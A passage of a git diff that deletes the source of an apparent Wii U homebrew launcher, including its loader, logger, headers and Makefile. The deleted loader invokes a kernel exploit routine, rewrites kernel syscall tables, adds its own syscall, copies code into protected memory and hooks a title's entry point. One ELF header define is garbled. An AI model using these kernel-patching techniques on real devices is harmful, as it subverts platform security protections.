OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - /* do kernel exploit if needed */ - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - run_kexploit(&private_data); - - /* Since we inited GX2 without initing the screen before do that now */ - /* Without this the hbl load will have some screen corruptions */ - PrepareScreen(&private_data); - - /* Do SYSLaunchMiiStudio to boot HBL */ - unsigned int sysapp_handle; - void (*SYSLaunchMiiStudio)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMiiStudio", &SYSLaunchMiiStudio); - SYSLaunchMiiStudio(); - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Exit our core 0 thread to return to main */ - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSExitThread(0); -} - -void PrepareScreen(private_data_t *private_data) -{ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - /* Related to sd-loader elf choice */ - SC_0x25_KernelCopyData((void*)SD_LOADER_PATH, (void*)0xF5E70000, 250); - SC_0x25_KernelCopyData((void*)&SD_LOADER_FORCE_HBL, &bufferU32, sizeof(bufferU32)); - - unsigned int jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - - osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/dsrom/hbl_loader/logger.c b/dsrom/hbl_loader/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/dsrom/hbl_loader/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/dsrom/hbl_loader/logger.h b/dsrom/hbl_loader/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/dsrom/hbl_loader/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/dsrom/hbl_loader/os_defs.h b/dsrom/hbl_loader/os_defs.h deleted file mode 100644 index b92c527..0000000 --- a/dsrom/hbl_loader/os_defs.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; - - int (*LiWaitIopComplete)(int, int *); - int (*LiWaitIopCompleteWithInterrupts)(int, int *); - unsigned int addr_LiWaitOneChunk; - unsigned int addr_PrepareTitle_hook; - unsigned int addr_sgIsLoadingBuffer; - unsigned int addr_gDynloadInitialized; - unsigned int orig_LiWaitOneChunkInstr; -} OsSpecifics; - -typedef struct _s_mem_area -{ - unsigned int address; - unsigned int size; - struct _s_mem_area* next; -} s_mem_area; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/dsrom/hbl_loader/sd_loader/Makefile b/dsrom/hbl_loader/sd_loader/Makefile deleted file mode 100644 index 1f8cf29..0000000 --- a/dsrom/hbl_loader/sd_loader/Makefile +++ /dev/null @@ -1,178 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := sd_loader -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src -DATA := -INCLUDES := - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ - -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map - -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/dsrom/hbl_loader/sd_loader/include/stdint.h b/dsrom/hbl_loader/sd_loader/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/dsrom/hbl_loader/sd_loader/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/dsrom/hbl_loader/sd_loader/src/crt0.S b/dsrom/hbl_loader/sd_loader/src/crt0.S deleted file mode 100644 index c803619..0000000 --- a/dsrom/hbl_loader/sd_loader/src/crt0.S +++ /dev/null @@ -1,20 +0,0 @@ - - .extern _main - .globl _start - -_start: - mflr 0 - stwu 1,-0x18(1) - stw 0,0x1C(1) - stw 3,8(1) - stw 4,0xC(1) - # jump to our main - bl _main - # launch original title - mtctr 3 - lwz 3,8(1) - lwz 4,0xC(1) - lwz 0,0x1C(1) - mtlr 0 - addi 1,1,0x18 - bctr diff --git a/dsrom/hbl_loader/sd_loader/src/elf_abi.h b/dsrom/hbl_loader/sd_loader/src/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/hbl_loader/sd_loader/src/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* 